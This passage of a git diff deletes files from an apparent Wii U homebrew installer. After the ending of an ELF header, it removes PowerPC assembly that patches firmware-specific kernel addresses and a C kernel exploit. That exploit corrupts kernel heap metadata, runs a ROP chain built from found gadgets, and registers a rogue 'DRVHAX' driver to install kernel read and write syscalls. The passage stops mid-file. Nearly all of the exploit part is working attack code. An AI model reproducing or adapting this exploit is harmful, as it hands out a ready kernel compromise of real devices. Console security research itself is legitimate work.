ELF_SYMTAB ".symtab" /* symbol table */ -#define ELF_SYMTAB_SHNDX ".symtab_shndx"/* symbol table section index */ -#define ELF_TBSS ".tbss" /* thread local uninit data */ -#define ELF_TDATA ".tdata" /* thread local init data */ -#define ELF_TDATA1 ".tdata1" /* thread local init data */ -#define ELF_TEXT ".text" /* code */ - -/* Section Attribute Flags - sh_flags */ -#define SHF_WRITE 0x1 /* Writable */ -#define SHF_ALLOC 0x2 /* occupies memory */ -#define SHF_EXECINSTR 0x4 /* executable */ -#define SHF_MERGE 0x10 /* Might be merged */ -#define SHF_STRINGS 0x20 /* Contains NULL terminated strings */ -#define SHF_INFO_LINK 0x40 /* sh_info contains SHT index */ -#define SHF_LINK_ORDER 0x80 /* Preserve order after combining*/ -#define SHF_OS_NONCONFORMING 0x100 /* Non-standard OS specific handling */ -#define SHF_GROUP 0x200 /* Member of section group */ -#define SHF_TLS 0x400 /* Thread local storage */ -#define SHF_MASKOS 0x0ff00000 /* OS specific */ -#define SHF_MASKPROC 0xf0000000 /* reserved bits for processor */ - /* specific section attributes */ - -/* Section Group Flags */ -#define GRP_COMDAT 0x1 /* COMDAT group */ -#define GRP_MASKOS 0x0ff00000 /* Mask OS specific flags */ -#define GRP_MASKPROC 0xf0000000 /* Mask processor specific flags */ - -/* Symbol Table Entry */ -typedef struct elf32_sym { - Elf32_Word st_name; /* name - index into string table */ - Elf32_Addr st_value; /* symbol value */ - Elf32_Word st_size; /* symbol size */ - unsigned char st_info; /* type and binding */ - unsigned char st_other; /* 0 - no defined meaning */ - Elf32_Half st_shndx; /* section header index */ -} Elf32_Sym; - -/* Symbol table index */ -#define STN_UNDEF 0 /* undefined */ - -/* Extract symbol info - st_info */ -#define ELF32_ST_BIND(x) ((x) >> 4) -#define ELF32_ST_TYPE(x) (((unsigned int) x) & 0xf) -#define ELF32_ST_INFO(b,t) (((b) << 4) + ((t) & 0xf)) -#define ELF32_ST_VISIBILITY(x) ((x) & 0x3) - -/* Symbol Binding - ELF32_ST_BIND - st_info */ -#define STB_LOCAL 0 /* Local symbol */ -#define STB_GLOBAL 1 /* Global symbol */ -#define STB_WEAK 2 /* like global - lower precedence */ -#define STB_NUM 3 /* number of symbol bindings */ -#define STB_LOOS 10 /* reserved range for operating */ -#define STB_HIOS 12 /* system specific symbol bindings */ -#define STB_LOPROC 13 /* reserved range for processor */ -#define STB_HIPROC 15 /* specific symbol bindings */ - -/* Symbol type - ELF32_ST_TYPE - st_info */ -#define STT_NOTYPE 0 /* not specified */ -#define STT_OBJECT 1 /* data object */ -#define STT_FUNC 2 /* function */ -#define STT_SECTION 3 /* section */ -#define STT_FILE 4 /* file */ -#define STT_NUM 5 /* number of symbol types */ -#define STT_TLS 6 /* Thread local storage symbol */ -#define STT_LOOS 10 /* reserved range for operating */ -#define STT_HIOS 12 /* system specific symbol types */ -#define STT_LOPROC 13 /* reserved range for processor */ -#define STT_HIPROC 15 /* specific symbol types */ - -/* Symbol visibility - ELF32_ST_VISIBILITY - st_other */ -#define STV_DEFAULT 0 /* Normal visibility rules */ -#define STV_INTERNAL 1 /* Processor specific hidden class */ -#define STV_HIDDEN 2 /* Symbol unavailable in other mods */ -#define STV_PROTECTED 3 /* Not preemptible, not exported */ - - -/* Relocation entry with implicit addend */ -typedef struct -{ - Elf32_Addr r_offset; /* offset of relocation */ - Elf32_Word r_info; /* symbol table index and type */ -} Elf32_Rel; - -/* Relocation entry with explicit addend */ -typedef struct -{ - Elf32_Addr r_offset; /* offset of relocation */ - Elf32_Word r_info; /* symbol table index and type */ - Elf32_Sword r_addend; -} Elf32_Rela; - -/* Extract relocation info - r_info */ -#define ELF32_R_SYM(i) ((i) >> 8) -#define ELF32_R_TYPE(i) ((unsigned char) (i)) -#define ELF32_R_INFO(s,t) (((s) << 8) + (unsigned char)(t)) - -/* Program Header */ -typedef struct { - Elf32_Word p_type; /* segment type */ - Elf32_Off p_offset; /* segment offset */ - Elf32_Addr p_vaddr; /* virtual address of segment */ - Elf32_Addr p_paddr; /* physical address - ignored? */ - Elf32_Word p_filesz; /* number of bytes in file for seg. */ - Elf32_Word p_memsz; /* number of bytes in mem. for seg. */ - Elf32_Word p_flags; /* flags */ - Elf32_Word p_align; /* memory alignment */ -} Elf32_Phdr; - -/* Segment types - p_type */ -#define PT_NULL 0 /* unused */ -#define PT_LOAD 1 /* loadable segment */ -#define PT_DYNAMIC 2 /* dynamic linking section */ -#define PT_INTERP 3 /* the RTLD */ -#define PT_NOTE 4 /* auxiliary information */ -#define PT_SHLIB 5 /* reserved - purpose undefined */ -#define PT_PHDR 6 /* program header */ -#define PT_TLS 7 /* Thread local storage template */ -#define PT_NUM 8 /* Number of segment types */ -#define PT_LOOS 0x60000000 /* reserved range for operating */ -#define PT_HIOS 0x6fffffff /* system specific segment types */ -#define PT_LOPROC 0x70000000 /* reserved range for processor */ -#define PT_HIPROC 0x7fffffff /* specific segment types */ - -/* Segment flags - p_flags */ -#define PF_X 0x1 /* Executable */ -#define PF_W 0x2 /* Writable */ -#define PF_R 0x4 /* Readable */ -#define PF_MASKOS 0x0ff00000 /* OS specific segment flags */ -#define PF_MASKPROC 0xf0000000 /* reserved bits for processor */ - /* specific segment flags */ -/* Dynamic structure */ -typedef struct -{ - Elf32_Sword d_tag; /* controls meaning of d_val */ - union - { - Elf32_Word d_val; /* Multiple meanings - see d_tag */ - Elf32_Addr d_ptr; /* program virtual address */ - } d_un; -} Elf32_Dyn; - -extern Elf32_Dyn _DYNAMIC[]; - -/* Dynamic Array Tags - d_tag */ -#define DT_NULL 0 /* marks end of _DYNAMIC array */ -#define DT_NEEDED 1 /* string table offset of needed lib */ -#define DT_PLTRELSZ 2 /* size of relocation entries in PLT */ -#define DT_PLTGOT 3 /* address PLT/GOT */ -#define DT_HASH 4 /* address of symbol hash table */ -#define DT_STRTAB 5 /* address of string table */ -#define DT_SYMTAB 6 /* address of symbol table */ -#define DT_RELA 7 /* address of relocation table */ -#define DT_RELASZ 8 /* size of relocation table */ -#define DT_RELAENT 9 /* size of relocation entry */ -#define DT_STRSZ 10 /* size of string table */ -#define DT_SYMENT 11 /* size of symbol table entry */ -#define DT_INIT 12 /* address of initialization func. */ -#define DT_FINI 13 /* address of termination function */ -#define DT_SONAME 14 /* string table offset of shared obj */ -#define DT_RPATH 15 /* string table offset of library - search path */ -#define DT_SYMBOLIC 16 /* start sym search in shared obj. */ -#define DT_REL 17 /* address of rel. tbl. w addends */ -#define DT_RELSZ 18 /* size of DT_REL relocation table */ -#define DT_RELENT 19 /* size of DT_REL relocation entry */ -#define DT_PLTREL 20 /* PLT referenced relocation entry */ -#define DT_DEBUG 21 /* bugger */ -#define DT_TEXTREL 22 /* Allow rel. mod. to unwritable seg */ -#define DT_JMPREL 23 /* add. of PLT's relocation entries */ -#define DT_BIND_NOW 24 /* Process relocations of object */ -#define DT_INIT_ARRAY 25 /* Array with addresses of init fct */ -#define DT_FINI_ARRAY 26 /* Array with addresses of fini fct */ -#define DT_INIT_ARRAYSZ 27 /* Size in bytes of DT_INIT_ARRAY */ -#define DT_FINI_ARRAYSZ 28 /* Size in bytes of DT_FINI_ARRAY */ -#define DT_RUNPATH 29 /* Library search path */ -#define DT_FLAGS 30 /* Flags for the object being loaded */ -#define DT_ENCODING 32 /* Start of encoded range */ -#define DT_PREINIT_ARRAY 32 /* Array with addresses of preinit fct*/ -#define DT_PREINIT_ARRAYSZ 33 /* size in bytes of DT_PREINIT_ARRAY */ -#define DT_NUM 34 /* Number used. */ -#define DT_LOOS 0x60000000 /* reserved range for OS */ -#define DT_HIOS 0x6fffffff /* specific dynamic array tags */ -#define DT_LOPROC 0x70000000 /* reserved range for processor */ -#define DT_HIPROC 0x7fffffff /* specific dynamic array tags */ - -/* Dynamic Tag Flags - d_un.d_val */ -#define DF_ORIGIN 0x01 /* Object may use DF_ORIGIN */ -#define DF_SYMBOLIC 0x02 /* Symbol resolutions starts here */ -#define DF_TEXTREL 0x04 /* Object contains text relocations */ -#define DF_BIND_NOW 0x08 /* No lazy binding for this object */ -#define DF_STATIC_TLS 0x10 /* Static thread local storage */ - -/* Standard ELF hashing function */ -unsigned long elf_hash(const unsigned char *name); - -#define ELF_TARG_VER 1 /* The ver for which this code is intended */ - -/* - * XXX - PowerPC defines really don't belong in here, - * but we'll put them in for simplicity. - */ - -/* Values for Elf32/64_Ehdr.e_flags. */ -#define EF_PPC_EMB 0x80000000 /* PowerPC embedded flag */ - -/* Cygnus local bits below */ -#define EF_PPC_RELOCATABLE 0x00010000 /* PowerPC -mrelocatable flag*/ -#define EF_PPC_RELOCATABLE_LIB 0x00008000 /* PowerPC -mrelocatable-lib - flag */ - -/* PowerPC relocations defined by the ABIs */ -#define R_PPC_NONE 0 -#define R_PPC_ADDR32 1 /* 32bit absolute address */ -#define R_PPC_ADDR24 2 /* 26bit address, 2 bits ignored. */ -#define R_PPC_ADDR16 3 /* 16bit absolute address */ -#define R_PPC_ADDR16_LO 4 /* lower 16bit of absolute address */ -#define R_PPC_ADDR16_HI 5 /* high 16bit of absolute address */ -#define R_PPC_ADDR16_HA 6 /* adjusted high 16bit */ -#define R_PPC_ADDR14 7 /* 16bit address, 2 bits ignored */ -#define R_PPC_ADDR14_BRTAKEN 8 -#define R_PPC_ADDR14_BRNTAKEN 9 -#define R_PPC_REL24 10 /* PC relative 26 bit */ -#define R_PPC_REL14 11 /* PC relative 16 bit */ -#define R_PPC_REL14_BRTAKEN 12 -#define R_PPC_REL14_BRNTAKEN 13 -#define R_PPC_GOT16 14 -#define R_PPC_GOT16_LO 15 -#define R_PPC_GOT16_HI 16 -#define R_PPC_GOT16_HA 17 -#define R_PPC_PLTREL24 18 -#define R_PPC_COPY 19 -#define R_PPC_GLOB_DAT 20 -#define R_PPC_JMP_SLOT 21 -#define R_PPC_RELATIVE 22 -#define R_PPC_LOCAL24PC 23 -#define R_PPC_UADDR32 24 -#define R_PPC_UADDR16 25 -#define R_PPC_REL32 26 -#define R_PPC_PLT32 27 -#define R_PPC_PLTREL32 28 -#define R_PPC_PLT16_LO 29 -#define R_PPC_PLT16_HI 30 -#define R_PPC_PLT16_HA 31 -#define R_PPC_SDAREL16 32 -#define R_PPC_SECTOFF 33 -#define R_PPC_SECTOFF_LO 34 -#define R_PPC_SECTOFF_HI 35 -#define R_PPC_SECTOFF_HA 36 -/* Keep this the last entry. */ -#define R_PPC_NUM 37 - -/* The remaining relocs are from the Embedded ELF ABI, and are not - in the SVR4 ELF ABI. */ -#define R_PPC_EMB_NADDR32 101 -#define R_PPC_EMB_NADDR16 102 -#define R_PPC_EMB_NADDR16_LO 103 -#define R_PPC_EMB_NADDR16_HI 104 -#define R_PPC_EMB_NADDR16_HA 105 -#define R_PPC_EMB_SDAI16 106 -#define R_PPC_EMB_SDA2I16 107 -#define R_PPC_EMB_SDA2REL 108 -#define R_PPC_EMB_SDA21 109 /* 16 bit offset in SDA */ -#define R_PPC_EMB_MRKREF 110 -#define R_PPC_EMB_RELSEC16 111 -#define R_PPC_EMB_RELST_LO 112 -#define R_PPC_EMB_RELST_HI 113 -#define R_PPC_EMB_RELST_HA 114 -#define R_PPC_EMB_BIT_FLD 115 -#define R_PPC_EMB_RELSDA 116 /* 16 bit relative offset in SDA */ - -/* Diab tool relocations. */ -#define R_PPC_DIAB_SDA21_LO 180 /* like EMB_SDA21, but lower 16 bit */ -#define R_PPC_DIAB_SDA21_HI 181 /* like EMB_SDA21, but high 16 bit */ -#define R_PPC_DIAB_SDA21_HA 182 /* like EMB_SDA21, adjusted high 16 */ -#define R_PPC_DIAB_RELSDA_LO 183 /* like EMB_RELSDA, but lower 16 bit */ -#define R_PPC_DIAB_RELSDA_HI 184 /* like EMB_RELSDA, but high 16 bit */ -#define R_PPC_DIAB_RELSDA_HA 185 /* like EMB_RELSDA, adjusted high 16 */ - -/* This is a phony reloc to handle any old fashioned TOC16 references - that may still be in object files. */ -#define R_PPC_TOC16 255 - -#endif /* _ELF_H */ diff --git a/installer/kernel_patches.S b/installer/kernel_patches.S deleted file mode 100644 index f5c0936..0000000 --- a/installer/kernel_patches.S +++ /dev/null @@ -1,282 +0,0 @@ -#if (VER == 550) - #define BAT_SETUP_HOOK_ADDR 0xFFF1D624 - # not all of those NOP address are required for every firmware - # mainly these should stop the kernel from removing our IBAT4 and DBAT5 - #define BAT_SET_NOP_ADDR_1 0xFFF06B6C - #define BAT_SET_NOP_ADDR_2 0xFFF06BF8 - #define BAT_SET_NOP_ADDR_3 0xFFF003C8 - #define BAT_SET_NOP_ADDR_4 0xFFF003CC - #define BAT_SET_NOP_ADDR_5 0xFFF1D70C - #define BAT_SET_NOP_ADDR_6 0xFFF1D728 - #define BAT_SET_NOP_ADDR_7 0xFFF1D82C - - #define BAT_SET_NOP_ADDR_8 0xFFEE11C4 - #define BAT_SET_NOP_ADDR_9 0xFFEE11C8 - -#elif ((VER == 532) || (VER == 540)) - #define BAT_SETUP_HOOK_ADDR 0xFFF1D638 - - # not all of those NOP address are required for every firmware - # mainly these should stop the kernel from removing our IBAT4 and DBAT5 - #define BAT_SET_NOP_ADDR_1 0xFFF06A14 - #define BAT_SET_NOP_ADDR_2 0xFFF06AA0 - #define BAT_SET_NOP_ADDR_3 0xFFF003C8 - #define BAT_SET_NOP_ADDR_4 0xFFF003CC - #define BAT_SET_NOP_ADDR_5 0xFFF1D720 - #define BAT_SET_NOP_ADDR_6 0xFFF1D73C - #define BAT_SET_NOP_ADDR_7 0xFFF1D840 - - #define BAT_SET_NOP_ADDR_8 0xFFEE10B8 - #define BAT_SET_NOP_ADDR_9 0xFFEE10BC - -#elif ((VER == 500) || (VER == 510)) - #define BAT_SETUP_HOOK_ADDR 0xFFF1D518 - - #define BAT_SET_NOP_ADDR_1 0xFFF0697C - #define BAT_SET_NOP_ADDR_2 0xFFF06A08 - #define BAT_SET_NOP_ADDR_3 0xFFF003C8 - #define BAT_SET_NOP_ADDR_4 0xFFF003CC - #define BAT_SET_NOP_ADDR_5 0xFFF1D600 - #define BAT_SET_NOP_ADDR_6 0xFFF1D61C - #define BAT_SET_NOP_ADDR_7 0xFFF1D720 - - #define BAT_SET_NOP_ADDR_8 0xFFEE10B8 - #define BAT_SET_NOP_ADDR_9 0xFFEE10BC -#elif VER == 410 - #define BAT_SETUP_HOOK_ADDR 0xFFF1AD00 - - #define BAT_SET_NOP_ADDR_1 0xFFF06708 - #define BAT_SET_NOP_ADDR_2 0xFFF06794 - #define BAT_SET_NOP_ADDR_3 0xFFF003C8 - #define BAT_SET_NOP_ADDR_4 0xFFF003CC - #define BAT_SET_NOP_ADDR_5 0xFFF1ADE8 - #define BAT_SET_NOP_ADDR_6 0xFFF1AE04 - #define BAT_SET_NOP_ADDR_7 0xFFF1AF08 - - #define BAT_SET_NOP_ADDR_8 0xFFEE10B8 - #define BAT_SET_NOP_ADDR_9 0xFFEE10BC -#elif VER == 400 - #define BAT_SETUP_HOOK_ADDR 0xFFF1A440 - - #define BAT_SET_NOP_ADDR_1 0xFFF066FC - #define BAT_SET_NOP_ADDR_2 0xFFF06788 - #define BAT_SET_NOP_ADDR_3 0xFFF003C8 - #define BAT_SET_NOP_ADDR_4 0xFFF003CC - #define BAT_SET_NOP_ADDR_5 0xFFF1A528 - #define BAT_SET_NOP_ADDR_6 0xFFF1A544 - //define BAT_SET_NOP_ADDR_7 not present in 400 - - #define BAT_SET_NOP_ADDR_8 0xFFEE0F50 - #define BAT_SET_NOP_ADDR_9 0xFFEE0F54 -#elif (VER == 310) - #define BAT_SETUP_HOOK_ADDR 0xFFF19EC4 - - #define BAT_SET_NOP_ADDR_1 0xFFF06590 - #define BAT_SET_NOP_ADDR_2 0xFFF0661C - #define BAT_SET_NOP_ADDR_3 0xFFF003C8 - #define BAT_SET_NOP_ADDR_4 0xFFF003CC - #define BAT_SET_NOP_ADDR_5 0xFFF19FAC - #define BAT_SET_NOP_ADDR_6 0xFFF19FC8 -// #define BAT_SET_NOP_ADDR_7 not present in 3.1.0 - - #define BAT_SET_NOP_ADDR_8 0xFFEE0FB0 - #define BAT_SET_NOP_ADDR_9 0xFFEE0FB4 -#elif (VER == 300) - #define BAT_SETUP_HOOK_ADDR 0xFFF19E2C - - #define BAT_SET_NOP_ADDR_1 0xFFF06590 - #define BAT_SET_NOP_ADDR_2 0xFFF0661C - #define BAT_SET_NOP_ADDR_3 0xFFF003C8 - #define BAT_SET_NOP_ADDR_4 0xFFF003CC - #define BAT_SET_NOP_ADDR_5 0xFFF19F14 - #define BAT_SET_NOP_ADDR_6 0xFFF19F30 -// #define BAT_SET_NOP_ADDR_7 not present in 3.0.x - - #define BAT_SET_NOP_ADDR_8 0xFFEE0DB8 - #define BAT_SET_NOP_ADDR_9 0xFFEE0DBC -#else - #error Please define valid values for kernel setup. -#endif - -#ifdef USE_SD_LOADER - #define BAT_SETUP_HOOK_ENTRY 0x00800000 -#else - #define BAT_SETUP_HOOK_ENTRY (0x00800000 + 0x2000) -#endif - -#define BAT4U_VAL 0x008000FF -#if VER >= 410 - #define BAT4L_VAL 0x30800012 -#elif VER <= 400 - #define BAT4L_VAL 0x4E800012 -#else - #error Please define valid value for firmware setup. -#endif - -#define SET_R4_TO_ADDR(addr) \ - lis r3, addr@h ; \ - ori r3, r3, addr@l ; \ - stw r4, 0(r3) ; \ - dcbf 0, r3 ; \ - icbi 0, r3 ; - - .globl SC_0x25_KernelCopyData -SC_0x25_KernelCopyData: - li r0, 0x2500 - sc - blr - - .globl Syscall_0x36 -Syscall_0x36: - li r0, 0x3600 - sc - blr - - .globl KernelPatches -KernelPatches: - # store the old DBAT0 - mfdbatu r5, 0 - mfdbatl r6, 0 - - # memory barrier - eieio - isync - - # setup DBAT0 for access to kernel code memory - lis r3, 0xFFF0 - ori r3, r3, 0x0002 - mtdbatu 0, r3 - lis r3, 0xFFF0 - ori r3, r3, 0x0032 - mtdbatl 0, r3 - - # memory barrier - eieio - isync - - # SaveAndResetDataBATs_And_SRs hook setup, but could be any BAT function though - # just chosen because its simple - lis r3, BAT_SETUP_HOOK_ADDR@h - ori r3, r3, BAT_SETUP_HOOK_ADDR@l - - # make the kernel setup our section in IBAT4 and - # jump to our function to restore the replaced instructions - lis r4, 0x3ce0 # lis r7, BAT4L_VAL@h - ori r4, r4, BAT4L_VAL@h - stw r4, 0x00(r3) - lis r4, 0x60e7 # ori r7, r7, BAT4L_VAL@l - ori r4, r4, BAT4L_VAL@l - stw r4, 0x04(r3) - lis r4, 0x7cf1 # mtspr 561, r7 - ori r4, r4, 0x8ba6 - stw r4, 0x08(r3) - lis r4, 0x3ce0 # lis r7, BAT4U_VAL@h - ori r4, r4, BAT4U_VAL@h - stw r4, 0x0C(r3) - lis r4, 0x60e7 # ori r7, r7, BAT4U_VAL@l - ori r4, r4, BAT4U_VAL@l - stw r4, 0x10(r3) - lis r4, 0x7cf0 # mtspr 560, r7 - ori r4, r4, 0x8ba6 - stw r4, 0x14(r3) - lis r4, 0x7c00 # eieio - ori r4, r4, 0x06ac - stw r4, 0x18(r3) - lis r4, 0x4c00 # isync - ori r4, r4, 0x012c - stw r4, 0x1C(r3) - lis r4, 0x7ce8 # mflr r7 - ori r4, r4, 0x02a6 - stw r4, 0x20(r3) - lis r4, (BAT_SETUP_HOOK_ENTRY | 0x48000003)@h # bla BAT_SETUP_HOOK_ENTRY - ori r4, r4, (BAT_SETUP_HOOK_ENTRY | 0x48000003)@l - stw r4, 0x24(r3) - - # flush and invalidate the replaced instructions - lis r3, (BAT_SETUP_HOOK_ADDR & ~31)@h - ori r3, r3, (BAT_SETUP_HOOK_ADDR & ~31)@l - dcbf 0, r3 - icbi 0, r3 - lis r3, ((BAT_SETUP_HOOK_ADDR + 0x20) & ~31)@h - ori r3, r3, ((BAT_SETUP_HOOK_ADDR + 0x20) & ~31)@l - dcbf 0, r3 - icbi 0, r3 - sync - - # setup IBAT4 for core 1 at this position (not really required but wont hurt) - # IBATL 4 - lis r3, BAT4L_VAL@h - ori r3, r3, BAT4L_VAL@l - mtspr 561, r3 - - # IBATU 4 - lis r3, BAT4U_VAL@h - ori r3, r3, BAT4U_VAL@l - mtspr 560, r3 - - # memory barrier - eieio - isync - - # write "nop" to some positions - lis r4, 0x6000 - # nop on IBATU 4 and DBAT 5 set/reset -#ifdef BAT_SET_NOP_ADDR_1 - SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_1) -#endif -#ifdef BAT_SET_NOP_ADDR_2 - SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_2) -#endif -#ifdef BAT_SET_NOP_ADDR_3 - SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_3) -#endif -#ifdef BAT_SET_NOP_ADDR_4 - SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_4) -#endif -#ifdef BAT_SET_NOP_ADDR_5 - SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_5) -#endif -#ifdef BAT_SET_NOP_ADDR_6 - SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_6) -#endif -#ifdef BAT_SET_NOP_ADDR_7 - SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_7) -#endif - -#if (defined(BAT_SET_NOP_ADDR_8) && defined(BAT_SET_NOP_ADDR_9)) - # memory barrier - eieio - isync - - # setup DBAT0 for access to kernel code memory - lis r3, 0xFFEE - ori r3, r3, 0x0002 - mtdbatu 0, r3 - lis r3, 0xFFEE - ori r3, r3, 0x0032 - mtdbatl 0, r3 - - # memory barrier - eieio - isync - - # write "nop" to some positions - lis r4, 0x6000 - SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_8) - SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_9) -#endif - - # memory barrier - eieio - isync - - # restore DBAT 0 and return from interrupt - mtdbatu 0, r5 - mtdbatl 0, r6 - - # memory barrier - eieio - isync - - blr - diff --git a/installer/kexploit.c b/installer/kexploit.c deleted file mode 100644 index 97c0c9c..0000000 --- a/installer/kexploit.c +++ /dev/null @@ -1,770 +0,0 @@ -#include "kexploit.h" - -void wait(unsigned int coreinit_handle, unsigned int t); -void doBrowserShutdown(unsigned int coreinit_handle); -void setupOSScreen(unsigned int coreinit_handle); -void printOSScreenMsg(unsigned int coreinit_handle, char *buf,unsigned int pos); -void exitOSScreen(unsigned int coreinit_handle); -void callSysExit(unsigned int coreinit_handle, void *sysFunc); - -#if (VER >= 532) -/* Initial setup code stolen from Pong, makes race much more reliable */ -void run_kexploit(private_data_t *private_data) -{ - /* Get a handle to coreinit.rpl and gx2.rpl */ - unsigned int coreinit_handle = private_data->coreinit_handle; - unsigned int gx2_handle = 0; - OSDynLoad_Acquire("gx2.rpl", &gx2_handle); - - //needed to not destroy screen - doBrowserShutdown(coreinit_handle); - - /* Exit functions */ - void (*__PPCExit)(); - void (*_Exit)(int); - OSDynLoad_FindExport(coreinit_handle, 0, "__PPCExit", &__PPCExit); - OSDynLoad_FindExport(coreinit_handle, 0, "_Exit", &_Exit); - - /* Memory functions */ - void (*DCFlushRange)(void *buffer, uint32_t length); - void (*DCInvalidateRange)(void *buffer, uint32_t length); - void (*DCTouchRange)(void *buffer, uint32_t length); - uint32_t (*OSEffectiveToPhysical)(void *vaddr); - void* (*OSAllocFromSystem)(uint32_t size, int align); - void (*OSFreeToSystem)(void *ptr); - OSDynLoad_FindExport(coreinit_handle, 0, "DCFlushRange", &DCFlushRange); - OSDynLoad_FindExport(coreinit_handle, 0, "DCInvalidateRange", &DCInvalidateRange); - OSDynLoad_FindExport(coreinit_handle, 0, "DCTouchRange", &DCTouchRange); - OSDynLoad_FindExport(coreinit_handle, 0, "OSEffectiveToPhysical", &OSEffectiveToPhysical); - OSDynLoad_FindExport(coreinit_handle, 0, "OSAllocFromSystem", &OSAllocFromSystem); - OSDynLoad_FindExport(coreinit_handle, 0, "OSFreeToSystem", &OSFreeToSystem); - - /* OS thread functions */ - bool (*OSCreateThread)(void *thread, void *entry, int argc, void *args, uint32_t stack, uint32_t stack_size, int priority, uint16_t attr); - int (*OSResumeThread)(void *thread); - void (*OSExitThread)(); - int (*OSIsThreadTerminated)(void *thread); - void (*OSYieldThread)(void); - - OSDynLoad_FindExport(coreinit_handle, 0, "OSCreateThread", &OSCreateThread); - OSDynLoad_FindExport(coreinit_handle, 0, "OSResumeThread", &OSResumeThread); - OSDynLoad_FindExport(coreinit_handle, 0, "OSExitThread", &OSExitThread); - OSDynLoad_FindExport(coreinit_handle, 0, "OSIsThreadTerminated", &OSIsThreadTerminated); - OSDynLoad_FindExport(coreinit_handle, 0, "OSYieldThread", &OSYieldThread); - - /* OSDriver functions */ - uint32_t reg[] = {0x38003200, 0x44000002, 0x4E800020}; - uint32_t (*Register)(char *driver_name, uint32_t name_length, void *buf1, void *buf2) = find_gadget(reg, 0xc, (uint32_t) __PPCExit); - uint32_t dereg[] = {0x38003300, 0x44000002, 0x4E800020}; - uint32_t (*Deregister)(char *driver_name, uint32_t name_length) = find_gadget(dereg, 0xc, (uint32_t) __PPCExit); - uint32_t copyfrom[] = {0x38004700, 0x44000002, 0x4E800020}; - uint32_t (*CopyFromSaveArea)(char *driver_name, uint32_t name_length, void *buffer, uint32_t length) = find_gadget(copyfrom, 0xc, (uint32_t) __PPCExit); - uint32_t copyto[] = {0x38004800, 0x44000002, 0x4E800020}; - uint32_t (*CopyToSaveArea)(char *driver_name, uint32_t name_length, void *buffer, uint32_t length) = find_gadget(copyto, 0xc, (uint32_t) __PPCExit); - - /* GX2 functions */ - void (*GX2SetSemaphore)(uint64_t *sem, int action); - void (*GX2Flush)(void); - OSDynLoad_FindExport(gx2_handle, 0, "GX2SetSemaphore", &GX2SetSemaphore); - OSDynLoad_FindExport(gx2_handle, 0, "GX2Flush", &GX2Flush); - - /* Allocate space for DRVHAX */ - uint32_t *drvhax = OSAllocFromSystem(0x4c, 4); - - /* Set the kernel heap metadata entry */ - uint32_t *metadata = (uint32_t*) (KERN_HEAP + METADATA_OFFSET + (0x02000000 * METADATA_SIZE)); - metadata[0] = (uint32_t)drvhax; - metadata[1] = (uint32_t)-0x4c; - metadata[2] = (uint32_t)-1; - metadata[3] = (uint32_t)-1; - - /* Find some gadgets */ - uint32_t gx2data[] = {0xfc2a0000}; - uint32_t gx2data_addr = (uint32_t) find_gadget(gx2data, 0x04, 0x10000000); - uint32_t r3r4load[] = {0x80610008, 0x8081000C, 0x80010014, 0x7C0803A6, 0x38210010, 0x4E800020}; - uint32_t r3r4load_addr = (uint32_t) find_gadget(r3r4load, 0x18, 0x01000000); - uint32_t r30r31load[] = {0x80010014, 0x83e1000c, 0x7c0803a6, 0x83c10008, 0x38210010, 0x4e800020}; - uint32_t r30r31load_addr = (uint32_t) find_gadget(r30r31load, 0x18, 0x01000000); - uint32_t doflush[] = {0xba810008, 0x8001003c, 0x7c0803a6, 0x38210038, 0x4e800020, 0x9421ffe0, 0xbf61000c, 0x7c0802a6, 0x7c7e1b78, 0x7c9f2378, 0x90010024}; - uint32_t doflush_addr = (uint32_t) find_gadget(doflush, 0x2C, 0x01000000) + 0x14 + 0x18; - - /* Modify a next ptr on the heap */ - uint32_t kpaddr = KERN_HEAP_PHYS + STARTID_OFFSET; - - /* Make a thread to modify the semaphore */ - OSContext *thread = (OSContext*)private_data->MEMAllocFromDefaultHeapEx(0x1000, 8); - uint32_t *stack = (uint32_t*)private_data->MEMAllocFromDefaultHeapEx(0xA0, 0x20); - if (!OSCreateThread(thread, (void*)0x11a1dd8, 0, NULL, ((uint32_t)stack) + 0xA0, 0xA0, 0, 0x1 | 0x8)) OSFatal("Failed to create thread"); - - /* Set up the ROP chain */ - thread->gpr[1] = (uint32_t)stack; - thread->gpr[3] = kpaddr; - thread->gpr[30] = gx2data_addr; - thread->gpr[31] = 1; - thread->srr0 = ((uint32_t)GX2SetSemaphore) + 0x2C; - - stack[0x24/4] = r30r31load_addr; /* Load r30/r31 - stack=0x20 */ - stack[0x28/4] = gx2data_addr; /* r30 = GX2 data area */ - stack[0x2c/4] = 1; /* r31 = 1 (signal) */ - - stack[0x34/4] = r3r4load_addr; /* Load r3/r4 - stack=0x30 */ - stack[0x38/4] = kpaddr; - - stack[0x44/4] = ((uint32_t)GX2SetSemaphore) + 0x2C; /* GX2SetSemaphore() - stack=0x40 */ - - stack[0x64/4] = r30r31load_addr; /* Load r30/r31 - stack=0x60 */ - stack[0x68/4] = 0x100; /* r30 = r3 of do_flush = 0x100 */ - stack[0x6c/4] = 1; /* r31 = r4 of do_flush = 1 */ - - stack[0x74/4] = doflush_addr; /* do_flush() - stack=0x70 */ - - stack[0x94/4] = (uint32_t)OSExitThread; - - DCFlushRange(thread, 0x1000); - DCFlushRange(stack, 0x1000); - - /* Start the thread */ - OSResumeThread(thread); - - /* Wait for a while */ - while(OSIsThreadTerminated(thread) == 0) - { - OSYieldThread(); - } - - /* Free stuff */ - private_data->MEMFreeToDefaultHeap(thread); - private_data->MEMFreeToDefaultHeap(stack); - - /* Register a new OSDriver, DRVHAX */ - char drvname[6] = {'D', 'R', 'V', 'H', 'A', 'X'}; - Register(drvname, 6, NULL, NULL); - - /* Modify its save area to point to the kernel syscall table */ - drvhax[0x44/4] = KERN_SYSCALL_TBL + (0x34 * 4); - - /* Use DRVHAX to install the read and write syscalls */ - uint32_t syscalls[2] = {KERN_CODE_READ, KERN_CODE_WRITE}; - CopyToSaveArea(drvname, 6, syscalls, 8); - - /* Clean up the heap and driver list so we can exit */ - kern_write((void*)(KERN_HEAP + STARTID_OFFSET), 0); - kern_write((void*)KERN_DRVPTR, drvhax[0x48/4]); - - /* Modify the kernel address table and exit */ - //kern_write(KERN_ADDRESS_TBL + 0x12, 0x31000000); - //kern_write(KERN_ADDRESS_TBL + 0x13, 0x28305800); -} - -#else 